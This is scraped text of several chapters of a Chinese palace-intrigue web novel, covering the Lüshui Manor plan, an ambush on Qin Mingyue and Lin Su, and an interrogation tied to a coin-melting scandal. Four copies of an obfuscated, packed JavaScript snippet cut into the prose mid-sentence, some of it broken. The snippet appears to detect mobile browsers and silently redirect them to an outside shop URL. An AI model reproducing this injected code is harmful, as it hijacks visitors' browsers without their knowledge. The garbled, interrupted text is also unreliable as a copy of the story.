说她去帮助查案了？好像也不对啊。见秦明月卡在那里，大家仿佛嗅到不一样的气息，眼睛亮闪闪地看向两人。 “我说我捡的，你信吗......” 比卢琼华的斜眼来得更早的，是另一名当事人谢大人“噗嗤”的一声笑。 “是我给秦姑娘的。”谢长龄大方承认。 众人举着筷子，继续等他下一句。所以呢？？？重点不是为什么要给人家姑娘吗？ 一旁的秦明月倒是松了一口气，还得是谢大人会说话，既照实讲了，又不透露案情，要不人家怎么能在官场混得如鱼得水呢，不费吹灰之力堵住了大家的嘴。 “吃饭呀，大家怎么停下来了？别浪费呀。”她热情地招呼众人。 “可能是饱了吧。”谢大人夹起一筷子鸡蛋。 高明首先反应过来：“哪能呢，酒才喝半截。” “酒呢？爹，我给您斟酒。” “琼华你尝尝这个松蘑，鲜得很。” 屋里重又洋溢起快活的气氛。 酒足饭饱后，大家顺着高统领的提议，在庄内散步消食，也顺便欣赏庄户野趣。 绿水庄坐落在南山脚下，低矮的围墙内是庄户人家的居所，此时刚过饭点，妇人们聚在井边，一边洗碗一边聊天。男子有的坐在院中修整农具，有的趁空闲带着小娃编竹器，计划带到集市上售卖，补贴家用。和煦的春风吹过，围墙外的田地里，绿油油的稻苗迎风伸展，偶尔传来一两声清脆鸟鸣，一派安静祥和的景象。 “可惜啊，也不知道这份安宁还能维持多久。”高明忍不住叹了口气。 “魏家势大，我怕是也拦不住多久了。” “父亲......” 高明苦涩一笑，摸了摸高裕贞的头。 众人虽然口中都忿忿不平，但心里却也清楚，魏家跋扈，又扯着为国练兵的“大旗”，绿水庄被夷，只是早晚的事情。 气氛一时低迷。 “高统领。” 突然，一道清亮的女声打破了这伤感的氛围。 只见不知何时脱离队伍的秦明月，正定定站在庄中一棵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041610|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雷击木前。 “陛下仁厚，前朝旧事非但未牵连绿水庄，还容这些老兵在此安身，所以，这庄子本就是陛下的恩典。” 少女的手掌轻轻抚摸过焦黑的树干。 “再看这雷击木，天降雷霆不劈别处，偏偏在此，这不就是天意？高统领，你还不明白吗？” “什么天意？高某愚钝，还望姑娘赐教。” “天意就是——”秦明月拉长音调，俏皮地朝对方眨眨眼，“绿水庄不该姓魏，也不该姓高，它应该姓皇。与其争来抢去，不如直接奏请陛下，将绿水庄收为皇家别苑。” 秦明月拍拍手上蹭到的焦灰，重新回到队伍。 “理由嘛，现成的！此地养过忠勇伤兵，显陛下仁德；天降雷火警示，显天威浩荡。若归于皇家，稍加修缮，开放部分园子供百姓瞻仰，那便是活着的恩典碑了，天下文人见了，谁不赞陛下胸襟如海，受命于天呢。” 所有人都怔愣了一瞬。 “这——妙啊！秦姑娘大智慧！” 高明以拳击掌，黝黑的脸庞瞬间激动地面色潮红。 “这样一来，庄子保住了，陛下得了美名，大家也能继续住在这里！魏家也好，什么猪狗也罢，我看谁还敢动皇家别苑心思！” 啧~这高统领说话真不讲究！ 不讲究的高统领此刻沉浸在能够破局救庄子的喜悦中，一刻也停不下来，他匆匆向众人告辞，快马加鞭赶回府中拟奏表去了。 余下的众人自然对秦明月又是一顿稀罕，大家嘻嘻哈哈打闹一团，决定重新回到南山，继续今天的赏梅之行。托此事之福，秦明月的好友列表又扩了一位。 无人看到角落里，谢大人手中紧紧握着一块皂白色的手帕，捏了半日，终还是重新塞进袖中。 他清浅地笑了笑，然后摇摇头，翻身上马折返京中。 小姑娘还有一封信等着他去研究呢。 几日后，京中开始传言绿水庄那棵雷击枯木逢春，根部竟抽出了新芽，这是圣上仁德感念天地，福泽草木了。 不少好事者前往祭拜，竟也都有了奇遇，一时间绿水庄雷击木成了口口相传的“祥瑞”。 秦明月直觉，这应是京兆府那位谢大人的“杰作”。 16. 她杀人了 炎热的夏季终于在最后一声蝉鸣中结束。 这些日子，秦明月每日奔走于书院、秦府、顾府三点一线。 母亲之事，除了之前掌握的线索外，她还私下托卢琼华帮忙打听当年秦府赶出去的另一名冯姓嬷嬷。没有办法，母亲去世时间太过久远，且无论是秦家还是顾家，她始终有所保留，所以一直没有查到什么有用的信息。 这日上午，荷举进屋传话，说老爷在书房等她。 秦明月赶紧更衣，往书房走去。 秦父最近似在弥补之前缺位的时光，除了处理公务，其余时间几乎都用在了秦明月身上。 东街的松子糖、西市的皮影戏、南山的古观、北面的奇兽园，所有京中吃的、玩的、好看的，他都一一带秦明月尝试一遍，偶尔也会在书房中，给她讲讲朝堂趣闻、政治见地。与李氏及家中其他姊妹相处也甚是融洽。 等到了书房，小厮急忙将她迎了进去。 父亲正在提笔写字，闻声让她先坐，等最后一笔落完，方将笔墨搁置起来。 “月儿，赵秉被杀一案刑部今日给我递了消息，说是陆沉菰被判‘监候’，立秋后将被押送至京城参加京审。” “父亲！”秦明月激动地站起身来。 “你先坐下，为父知道你的心事。”秦洪业慈爱地蔑了她一眼。 继续开口道：“陆姑娘既救了你，也算于秦家有恩，况且赵秉一事，她亦是苦主，也未真对赵秉动过杀意，为父自然会为她周旋，你放心就好。” “谢谢父亲！” “傻孩子，”顿了顿，秦洪业继续开口，“不过，你可知当前还另有人在为她之事周旋？” “女儿不知......父亲可知是谁？” “今日刑部卢大人下朝时，与我提到，林家为陆姑娘延请了京中有名的讼师，还不知走了哪位大人的路子，等陆姑娘来了京城，暂且将其关到京兆府狱去。” “林家......”秦明月脑海中突然想到那夜清苦的广藿香香气，“是通济盐号的林家吗？” “没错。” “陆沉菰曾是通济盐号的走盐镖师，许是因此与林家有什么渊源也说不定。”秦明月想了想，解释道。 “这么一说，倒是顺理成章了，京兆府狱看守森严，行事皆有章程，人在里头出不了岔子，你且安心。” 秦洪业举起刚刚写好的字，吹了吹。 “走，为父给你院子里的猫舍题了字，正好给‘猫一只’贴上。”‘猫一只’是前些日子秦明月从奇兽园里抱回来的小猫。 ———————————————— 又过了大半个月，陆沉菰终于被押运进了京中。 得到消息后，秦明月第一时间找到谢长龄，本以为还要费些口舌，谁知，谢大人远比想象中爽快。 因着这几日要忙于接收犯人、核查卷宗，人多眼杂，谢长龄提议她三日后再去京兆府狱，秦明月想也不想，就点头答应了。 到了第三日，秦明月早早起身，天虽然下起了濛濛细雨，但她还是直接拎上提前准备好的干净衣物、吃食等，径直往京兆府狱走去。 听说这几日岭南府的官场出了件大案，人手不够，李敖也被父亲派了过去。因此，今日只有秦明月一人。 大约是谢大人提前打好了招呼，一路上无人阻拦。 秦明月一间牢房一间牢房的望过去，终于在拐角处的一间牢房内看到陆沉菰。 意外的是，那日在百樟林见过的通济盐号的少东家林肃也在。 秦明月轻轻咳了两声，停下脚步。 “秦姑娘。”听到声响，陆沉菰转过头，见是秦明月，脸上闪过一丝笑意。 “陆姑娘、林公子。” “秦小姐...与姨母可大好了？”林肃避至一侧，自然地给秦明月让了一个身位。 “劳公子挂念，都好。” “秦姑娘、少东家，你们......这是认识？”陆沉菰惊讶扫视二人。 “此前，遇到些麻烦，幸得林公子仗义相助。”秦明月简单解释。 复又内疚地将目光投向身型越发单薄的女子，“陆姑娘，是我连累你了。” “我很好！秦大人和少东家没少帮我上下打点，我哪能受什么罪，不过是见光少了，皮肤白了些。”陆沉菰自在地往地上一坐。 见秦明月还一脸苦丧地杵在原地，她直接伸手接过竹篮：“让我来看看，你给我带了些什么好东西。” “我给你带了……” 很快，二人一起席地而坐，聊起近况来。 半晌后，秦明月犹疑地瞟过林肃，他怎么还不走？自己还有一些事等着和陆沉菰确认呢。 然而，不论她如何刮眼风，那个墨色的身影就像钉死在牢狱之中似的，怎么也不挪步。 他虽不参与秦明月与陆沉菰的聊天，却始终抱臂站在一隅。 半日后，终是秦明月先放弃了。 罢了，来日方长，下次她再来就是。 走出京兆府狱时，雨已经停了。新鲜的空气一下子冲入鼻腔，秦明月忍不住深呼吸一口，想要散去胸口压抑的浊气。 谁知她刚准备抬步，就见林肃也跟在后面走了出来。 这人什么意思？自己走他也走？但凡早两步呢！可他到底前几日刚帮过自己，秦明月心中生不起怨怼，只能无奈地叹了口气。 “秦姑娘，林家恰有一座别院同在绯衣巷，某今日未乘马车，既顺路，不若同去吧。” 秦明月犹疑地点点头。 无人的刑部长街上，只有二人踢踏走过的脚步声，气氛莫名有些沉肃紧绷。 “秦姑娘，当日那位夫人，应当不是你的姨母吧？”林肃率先开口。 原来是因为这个。 “确实，她是赵秉父亲的正室夫人。” “赵秉的嫡母？你为何要救她？” 秦明月一听，就知道他将陆沉菰的事迁怒到了赵夫人头上。 “不是你想的那样的，赵夫人原名......” 话还没说完，林肃突然一把将她拉入怀中，二人顺势倒向墙边。一支 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041611|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闪着寒光的箭羽擦着秦明月的脸颊，叮的一声钉入身侧墙砖。 “谁？！”林肃手腕一抖，瞬间打开手中折扇。秦明月这才发现，折扇的扇骨竟是一片片薄如柳叶的铁刃。 随着林肃一声厉呵，长街的两端，数名黑衣人蜂涌而入，前者手持大刀，后者拉起长弓，这是有备而来！ 林肃快速从袖中取出一支信号弹，拉动引线，“咻”的一声，一抹红烟瞬间在空中炸响。 “秦姑娘，你功夫如何？” “三脚猫。” “......那你千万坚持住，最多半刻钟，援兵就来了。” 但显然，这半刻钟不是好撑的。黑衣人见他放出信号，也知要速战速决，全是不要命的打法。 “真是下了血本了！”林肃目光扫过前后逼近的黑影。只见前头三人手持大刀，后路两人张弓搭箭，箭头在惨白的日光下闪着绿光。秦明月靠在他的背后，不由地紧紧攥住油纸伞的竹柄，这还是她今日下雨出门带的伞。 没有一句废话，前方的刀剑手突然暴起发难，直直向二人冲来。 林肃的铁扇贴着最先劈到的刀锋划过，“铮”的一声锐响，带出一撮火星，硬生生将凶猛的刀势引偏，撞上另一柄大刀。还未来得及收回折扇，紧接着第三把刀的刀刃破风声响起，直直砍向林肃的脑袋。“低头！”秦明月低喝一声，她快速举起油纸伞横在林肃上方。 虎口一阵剧痛，猛烈的冲击下，油纸伞“咔嚓”一声，断了一半，仅留半边竹骨牵连，一缕刀风堪堪擦过她发髻。林肃伏身趁乱逼近，扇刃瞬间划过那名黑衣人的脖颈，温热的血一下子喷溅到了秦明月脸上，惊得她身形微滞。只这一滞，背后弓弦震响。 林肃瞬间反应将她环入怀中，转身就着她的手撑开雨伞，快速旋动，破烂的雨伞抵挡住第一波箭羽已是勉强。此时，剩下的两名刀剑手也猛攻上前。 千钧一发之际，秦明月快速伏身，抡起仅剩的伞骨，出其不意专攻二人下盘与脚踝。拜多年修道经验所赐，竹制的伞骨在她手中成了刁钻的点穴橛，虽不致命，却足以扰乱对方步伐，拖延片刻。林肃抓住机会，奋力将折扇甩成银轮，“噗噗”两声，精准击中两名弓箭手膝盖后飞回手中。 见同伴一一倒下，剩下两名刀剑手几要杀红了眼。林肃带着秦明月且战且退，见他们后撤，刀剑手刀势越发狠辣。突然，秦明月脚下一绊，整个人摔向地面，两名刀剑手抓住机会，两柄大刀左右横飞向林肃，林肃仰身向后倒去，同时快速伸出折扇，死死卡住双刃。 电光火石间，秦明月一把摸到死去的黑衣人的大刀，闭上眼睛，用尽全身力气横抡出去。 两声闷哼过后，是重物落地的声音，天地间一片死寂，只余浓重的血腥味和急促的喘息声。 一只温热的大手突然覆在她的眼上，耳边，男子尚未平复的声音响起：“不要睁眼。” 秦明月的手还在微微发抖。林肃轻叹一声，弯腰卸下那柄大刀，颤动的睫毛刷过他的手掌，还没来得及感受，少女就猛地一头栽了下去...... 17. 风波又起 秦明月不知道自己是怎么回到秦府的，等她迷迷糊糊睁开眼时，已是深夜，耳边传来秦兰意惊喜地叫声。 “醒了醒了，大姐姐醒了。”话音刚落，床边呼啦啦围上来一圈人。 视线重新聚拢，秦明月目之所及是父亲通红的眼眶。 “月儿，你可还有哪里不舒服？爹在。” “爹，我没事。”秦明月在清圆的搀扶下，缓缓坐起身，“让你们担心了，今日之事......” “爹知道，今日之事不怪你，是那帮宵小欺人太甚，爹已经派人挖地三尺的去查了，秦家绝不会放过这幕后之人！”秦洪业愤愤开口。 “月儿，你可知，这帮人所为何来？” 秦明月摇摇头，说实话，当时她也想过是否是因赵夫人一事暴露遇袭，但她很快又否定了。 赵夫人府中之人行事一向鬼祟，千方百计避人耳目。若是上面那位，用赵夫人话来说，哪有自己逃脱的机会，她抬头看向父亲，“送我回来之人可曾说过什么？” “林公子么？他只说你们半途遇了贼人袭击，当时情急，我也没有来得及细问，改日倒要好好问问他。”秦洪业拧着眉头，眸中深思。 窗外的夜色已经凝成墨色，李氏看着秦明月依然苍白的小脸，赶紧打断这一老一少的探究。在李氏的劝慰下，众人都慢慢散去。 第二日一大早，顾府的关怀加急赶到，除了满车的补品外，还听闻顾老爷子的长枪一路从户部耍到了京兆府。 第三日，林肃的拜帖送到了秦府，秦明月不知道林肃在前厅与父亲聊了什么。一盏茶后，父亲竟遣人将她引至花厅，自己则匆忙去了宫中。 等秦明月甫一进入屋内，看到的就是满地大大小小的锦匣，一旁的荷举眼珠都瞪圆了，心中直打鼓，这这这？纳彩礼？说起来，小姐也确实到了可以议亲的年纪...... 秦明月倒没有想这么多，她让荷举退下，自然地坐在林肃对面。 “林公子，当日之事，还没来得及感谢您。” “秦小姐多礼了，此事谁拖累了谁还尚未可知。” “我记得当日不是还留了活口？以林公子的能耐竟也查不出来么？” “呵！全是死士，”林肃重重将茶盏放在桌案上，“背后之人好大的手笔！” 秦明月重重叹了一口气，怎么所有事情都和无头悬案一样。 林肃重新看向她，“那日在刑部长街，秦小姐说‘不是在下想得那样’，话未说尽，就被打断了，不知秦小姐今日能否为林某解惑？” 原来是为了这事，秦明月爽快地将归氏旧案与陶大夫入继一事重新告知了林肃，只是隐去了其中皇室倾轧与灭口的部分。 “如此说来，这位赵夫人，噢不，归小姐倒也是个可怜人，嘶......”林肃似乎突然想到什么，顿了顿，“如果我收到的消息没错，陶氏医馆火灾恰巧是今日上午结的案。” “什么？结案了？” “对，说是药童不小心打翻了药炉，火星溅到干药材上，这才引起了大火。” “怎么可能？！此言当真？”秦明月“腾”的一下站起。 怎么会是药材起火？一点火星如何能烧灼成那样？！明明有那么多疑点，明明都告诉了谢大人！ “秦小姐？” “无事。”她心不在焉地摇摇手，重新坐下，“林公子，我屋中还有事，让下人引您去花园转转，中午就留在秦府用个便饭吧？” “不用客气，林某还有约，先告辞了。”林肃怎么会看不出秦明月的心不在焉，他双手抱拳，爽快出了秦府。 门外的荷举先是看见一个白色的身影大步流星地往外走去，回头看见小姐苍白的脸色，心中一惊，这是没谈拢？ 很快，屋里又响起了小姐呼传李侍卫的声音，小姐有事确实喜欢吩咐李侍卫，嗯？荷举再次瞳孔地震，昨日小姐遇刺，李侍卫知道后连跑了一天一夜从岭南赶回来了，这......不是吧！不是吧！不会是她想得那样吧。 等李敖回来复命已是下午，他将京兆府的腰牌压在信封上，原封不动地交还给秦明月，“小姐，谢大人不在府中，卑职又去京兆府打听了一圈，下面人说，谢大人被紧急调往岭南了。” “岭南？就是父亲中午来不及归家，传话回来直接去的岭南？” “是，只不过谢大人比老爷早出发了两日。” “那你昨日赶回的路上可曾遇到官府的车队？” 李敖摇摇头。 秦明月心头烦闷，所以京兆府现在是谁在主事？这个案子到底是谁结的？ 没有要秦明月等太久， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041612|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她很快就有了答案。 次日下午，一队官兵轰轰烈烈地闯进了秦府。为首的官差留着两撇小胡子，一双鼠眼不住地四下打量。 “放肆！是谁给你们的胆子强闯尚书府的？”李氏站在院中，平日里养尊处优的贵妇人，冷着一张脸，自有一股不威自怒的气势。 “夫人误会了，我们只是想请秦小姐配合问个话而已。”鼠眼官差点头哈腰，语气中却毫无敬意，“京兆府也是按规矩办事。” 秦书砚上前一步，将秦明月护在身后：“既是问话，就在这府里问，我让管家备茶看座，诸位随意询问就是。” “还请夫人、公子体谅，实在是兹事体大啊！此事牵涉到销钱为器的重案，这可不是关起门来三言两语就能说清的。”鼠眼官差向前逼近半步，“若是耽搁了查案，或是教人以为尚书府有意相护，那......” 对方咧了咧嘴，漏出一口发黄的牙齿。 院中秋风扫过，树上的枯叶簌簌作响。 “既然事关重大，那更该谨慎，还是待我家老爷回府，再行定夺。” “等不了啊，夫人。京兆府要的人，今日就得带回去。” 双方僵持不下。 “我和你们走，”一道清亮的女声自众人身后响起。 秦明月慢慢推开秦书砚，销钱为器——她既姓了秦，不管此时与自己是否有关，她都必须要去，“敢问现在主持此案的是哪位大人？” “自然是京兆府少尹陈士杰陈大人。” “大姐姐！”秦兰意满脸急色，“你可知，若你今日从这府中走出去，下一刻外面会传成什么样子？” “我知道，而且我也知道，今日我若不走出去，下一刻，秦府就不是被流言中伤那么简单了。” “可大姐姐！”小姑娘还是死死抓着她的手不放。 她知秦兰意心中此时是念着姐妹亲情，可李氏却应该知晓此事轻重，父亲执掌户部多年，由他经手的钱款不计其数，若秦府被扯进销钱为器一案...... 果然，很快李氏就上前拉开女儿的手：“月儿，你且安心去，你是秦家的女儿，秦家自会为你做主！”冰冷的视线扫过在场的每一个官差。 秦明月点点头，临走前，李敖站在别人看不到的角落，无声地向她吐出一个“魏”字。 18. 险再入狱 到了京兆府，鼠眼官差直接将她引进签押房，不等她反应就立即退了出去。 秦明月独自站在房中，环顾四周，房内陈设冷硬，环境幽暗，光线从开孔极高的小窗口投下，笼罩在房内唯一的公案和座椅上，座椅上方高挂“明镜高悬”字样。 她心中冷嗤一声，这是在和她打“心理战”呢，不过可惜，她不是他们想象中柔弱的高门贵女。于是，她想也不想，理所当然地坐到了屋中唯一的椅子上。 约莫过了一盏茶时间，屋外传来脚步声。 “不好意思，让秦小姐久等了！最近府衙内事务众多，本官亦是忙得分身乏术。”一个身着深绿圆领官袍的男子，一边口中告罪，一边却慢慢踱进屋内。 男子看起来不过而立，他脖子略略前倾，原本瘦高的身形因微躬着背，而显出几分猥琐。 见秦明月大喇喇地坐在公案前，面上闪过一丝怨毒，他本来计划让这娇滴滴的尚书府小姐尝尝“立刑”的，现在计划被打乱了，还让这小丫头片子坐了上首！ 陈士杰强撑着笑意，让衙役重新给他搬来一张椅子，朝南坐下。 “无妨，谢大人正值盛年，平日里京兆府一应事务皆由他打理的滴水不漏，倒是陈大人......”秦明月拖长声调，“想必平日里没有太多机会经手实务，如今骤然担起重任，应接不暇也是难免的。” 好利的嘴！陈士杰皮笑肉不笑地开口：“希望秦小姐一会也能如此——善解人意！” “自然。” 陈士杰也不多废话，直切正题：“秦小姐，请问四日前，您曾去过什么地方？” 四日前？不就是她与林肃遇刺的那天？ “四日前，我曾前往京兆府狱内探望故旧，结束后就返回家中，未曾出门。” 不知道问题出在何处，秦明月选择一语带过。 “秦小姐这是不打算配合了？”陈士杰突然重重拍向座椅扶手，语速飞快，“说！你那日何时出门？何时到达京兆府？何时离开？何时到家？过程中又见过哪些人？” “陈大人这可是在强人所难？难道我随身带着日晷不成！” 针锋相对间，秦明月大脑飞速运转，陈士杰紧咬的这几个时间节点，说明事情发生在当日的上午，这个时间段内，自己只与陆沉菰、林肃有过接触，陆沉菰人在狱中，大概率牵扯不到这么要命的事中，那就是林肃了？ 心念一动，她赶在陈士杰发怒前，继续开口说道：“不过人么——那日我倒恰好遇到了通济盐号的少东家林肃林公子。” 见她总算说到重点，陈士杰变了一副嘴脸，“循循善诱”道：“哦？那方便将当日您与林公子相遇的前后始末告知下官吗？” “没什么不方便的，”听他这么说，秦明月心中大概有了底，“我在外清修时，有一故交，她曾是林老板的伙计，不幸牵扯进一桩案子里去了，我近日听闻她被押入京中，便念着旧情去探视一番，恰巧遇到了林公子。” “然后呢？” “然后探视完了，我与林公子同路，就顺路一道走回家啊。说到这个！”秦明月突然猛拍一下桌案，吓得陈士杰倒吸一口凉气。 “谁知那日回去的路上我们竟然遇到了杀手！好多好多黑衣人啊！有舞刀的，有射箭的，好像还有会飞的！对了——” 秦明月话锋一转，“陈大人，您抓到凶手了吗？还有，你们京兆府还是得多操练操练啊，不然就隔了一条街，怎的来得这样晚？要不是我有三清真人保佑，怕不是真要交代在那儿了！” 本是一句插科打诨，可陈士杰脸色瞬间闪过一丝不自然，却被秦明月敏锐地捕捉到了。 秦明月刚想继续试探，只见一个衙役突然跑了进来，附在陈士杰身侧耳语几句。 听他说完，原本还耐着性子与她周旋的陈士杰口中吐出一声冷笑：“我看出来了，秦小姐从一开始就没想好好配合官府问话，既然如此，那下官也就不客气了，来人！将秦小姐押入京兆府狱。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041613|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >之前的鼠眼官差再次冲进屋内，想要拿住秦明月。 秦明月狠狠一甩袖：“滚开！你也配碰我？” 说完，她同样冷笑着“回敬”陈士杰，“我也看出来了，陈大人身后的主子，今日从一开始也就没打算放我走。” “废什么话，还不快把人给我押下去。” “我看谁敢！”一道熟悉的声音自屋外响起。 秦明月抬头望去，只见，屋外李氏身穿命妇冠服，在秦书砚的搀扶下，稳步往里走来。 “陈大人，京兆府此前称依规矩行事，要传我秦府小姐问话，秦府按规矩应允了，如今，京兆府还想要扣押秦女，敢问我女儿所犯何罪？依的又是哪一条规矩？” “自然是、自然是.......”陈士杰一下语塞。 “是什么？是陈大人想要挟私报复，见我秦府此刻无人主事，想要趁机毁我女儿清誉，坏我秦府名声吗？” “还是受人指使，党同伐异，污蔑秦家？” “嘶——对了，我家老爷此时正在岭南冒着危险肃清官场，你却在京中无故扣押秦家女，陈大人，你是何居心啊？” 李氏一连串雷霆发问，逼得陈士杰哑口无语，问到最后一句时，他已慌得说不出话来，口中支支吾吾。 “陈大人，我家老爷虽不在京中，但我也是有诰命在身上的，今日为了陛下的大业、秦府的清白，我就是舍了颜面，也要去宫门口敲一回登闻鼓。” “言重了、秦夫人言重了！”陈士杰赶紧弯腰作揖，“是下官思虑不周，未能体会夫人爱女之心，下官之过。” “那陈大人现在可思虑好了？若好了，我就要带我女儿回府，去去这晦气。” “自是可以，”陈士杰咬咬牙，继续说道，“不过，近几日，还望秦大小姐不要出城，届时公堂之上，还需秦小姐作证。” 无人回应。 很快，在陈士杰青白交加的脸色中，李氏带着秦明月大摇大摆地走出了京兆府。 19. 销钱为器 秦府摇晃的马车内，只有秦明月与李氏二人。 马车刚刚走出京兆府门前大街，李氏突然开口，“月儿，你刚回来时，我想着自家人不必过分热情，一来怕你往后觉着有落差，二来也怕你拘着。总想着日子还长，人心慢慢处便是了，才没与你深入交流过。” 她斟酌再三，续又开口：“我知道你与寻常闺阁女儿不同，是个有主意的。但今日之事，事关秦府上下百十口人，你可有什么想对我说的？” 李氏的目光中满是对秦府未来的担忧。 “夫人，此事具体情况我确实不知。”秦明月摇摇头。 “只是按陈少尹的说辞，大约是通济盐号的少东家林肃牵扯进了销钱为器的案件里，我可能成了某个环节的不在场人证。” “你与林公子......可是前几日长街遇袭的时候？” 秦明月点点头。 “那就好，那就好。我们与林家也无甚交集，应该只是扎了小人的眼，不会真有什么事。”李氏心下一松，轻轻呼出一口气。 可不知为何，秦明月心中隐隐不安。 事实证明，她的直觉是对的。 马车行驶到秦家门口，常管家急忙迎了上来，一路将二人往望舒阁接引。 院中，卢琼华已等候多时，整个人如热锅上的蚂蚁，来回走动，不时往门口张望。 见秦明月与李氏走来，她顾不上礼仪，直接挥退了秦府的一众下人。 “夫人、月姐姐，秦家与通济盐号日常可有往来？” 秦明月与李氏对视一眼，缓缓摇头。 “哎！我就不兜圈子直接说了，出大事了！” “今日，我父亲从刑部回来，带回一个消息，说是前几日京兆府接到举报，宋氏冶炉场与通济盐号暗中勾结。举报信里详细写了近期两方的接头地点，那京兆府的陈士杰当场就带人去抓了。案卷里还写着，交易现场抓到一名宋氏的接头人，逃脱一名与通济盐号少东家体型相似之人，根据被抓之人的交代，京兆府在宋氏冶炉场当场撞破销钱为器现场，并在东营码头的货仓里缴获一批贴着林氏封条的铜器。”卢琼华连珠炮似的一口气说完。 “可这与秦府有什么关系？” “有关系啊！宋氏冶的铜你可知来自何处？” 不等秦明月说出心中的想法，卢琼华压低声音，快速说道：“户部。” “户部？！”李夫人震惊地站起身，脸上满是不可置信。 “对！不过，你们暂时不必太过惊慌，事情还没有到最后一步，”卢琼华顿了顿，“好消息是，陈士杰去查了，银钱出库的钱谷簿上，签字的并不是秦大人，而是户部侍郎孙显。坏消息是，陈士杰似乎在收集证据，想拉秦大人下水。夫人，月姐姐，秦府可要早做打算啊！” 秦明月说不上什么感觉，只觉得心里的那只靴子终于落了地。 等二人送走卢琼华，回到府中，长久相顾无言。 “景隆二十七年，扬州雷氏，涉嫌私铸铜钱，诛九族，于城门前枭首，刀刃翻卷，血流成河。这一次，又轮到了吗……”李氏跌坐回凳子上，喃喃自语。 “夫人？” 李氏的脸色惨白的可怕。 “没事。”她回过神来，“来人！” 一盏茶后，府中几个大管家都聚到了望舒阁。 “常管家，通知府中各个主子，秦府从今日起，不接外客，不应邀约，不来往书信，若有特殊情况，需来万松院回过我。此外，关闭府中所有角门，任何人没有我的吩咐不得出府，厨房每三日出去采买一次，需两人同行。” 吩咐完这些，她又拿过纸笔。 “此事还需尽快告知老爷。” 这时，原本一直沉默的秦明月，突然伸手拦住李氏接下来的动作，李氏疑惑地望向她。 “夫人，您不觉得，这件事父亲不知道就是对秦府最大的保护吗？” “什么意思？” 秦明月的手指轻轻敲打桌面，“此事最坏的结局，莫过于父亲被定为孙显背后主使，坐实秦林两家合谋销钱为器一事。可眼下看来，父亲一向处事周密，不论是陈士杰还是孙显那边，都未曾抓到秦府的实际把柄。否则，抄家的圣旨早已落到秦府头上了。” “如今，他们显然想从我这里打开缺口。若父亲知晓，必会不顾一切保我，那秦府便再难撇清干系。可如果将我推出去，我自幼离府，疏于管教。回京后，仰仗府中怜惜，私结外人，犯下大错，那秦府最多落个识人不清、约束不力的过错。” “休要胡说！秦家不需要你们小女儿去‘献祭’。”李夫人重重拍响桌子。 “夫人，百十条人命和我一人，您知道怎么选的。”秦明月眼神飘向屋外，“想想兰意和书砚。” “可……” “更何况，您知道的，我凡事有主意，未必会让他们如愿。” 长久的沉默后，李氏终是将笔搁回到了原处。 临出门前，她从袖中掏出秦府的对牌，放到书桌之上。 见李氏默许，秦明月迅速坐回书桌前，修书一封让李敖暗中送至顾克韫手中。 ———————————————— 半个时辰后，四个人齐齐坐在李敖的私宅中。 “裕贞正巧在我府中，听闻我要来见你，便说之前绿水庄一事还未郑重同你道谢，便一起来了。”顾克韫开口解释。 秦明月的视线再度转向卢琼华，对方讪讪一笑，“如果我说我不放心，马车停在秦府门口一直没走......” 秦明月扶额，这些祖宗，到底知不知道这事的严重性？一个一个怎么都非要往里跳。 “什么不放心？还有，明月你为何喊我来此处？”顾克韫转头打量着明显冷硬的屋子问道。 于是，接下来，在秦明月的授意中，卢琼华再度将今日在秦府的说辞重新复述了一遍。 顾克韫只觉头脑发懵，这个与她差不多年纪的表姐，怎么总是这么命途多舛？ 沉默一瞬，她似是下定决心。 “所以，我要怎么帮你？” “在定章程前，我需要先见一见林肃。”秦明月直接回答。 她身边虽有一块京兆府的牌子，但此时怕是不会有用。 “那什么，这个，或许我可以？”卢琼华弱弱举起手，“我可以请父亲以查案的名义，带你进去。” “卢大人处......” “没有问题！你曾救我一命，这点忙，老卢肯定不会推辞的。更何况......”卢琼华顿了顿，小小声说，“这个消息本就是他让我带出来的。” 此时也不是客套的时候。于是，众人商议好入狱和下一次碰头的时间，就急忙散去了。 事态紧急，当天夜里，秦明月就换上了小厮的衣服，随卢父进了京兆府大牢。 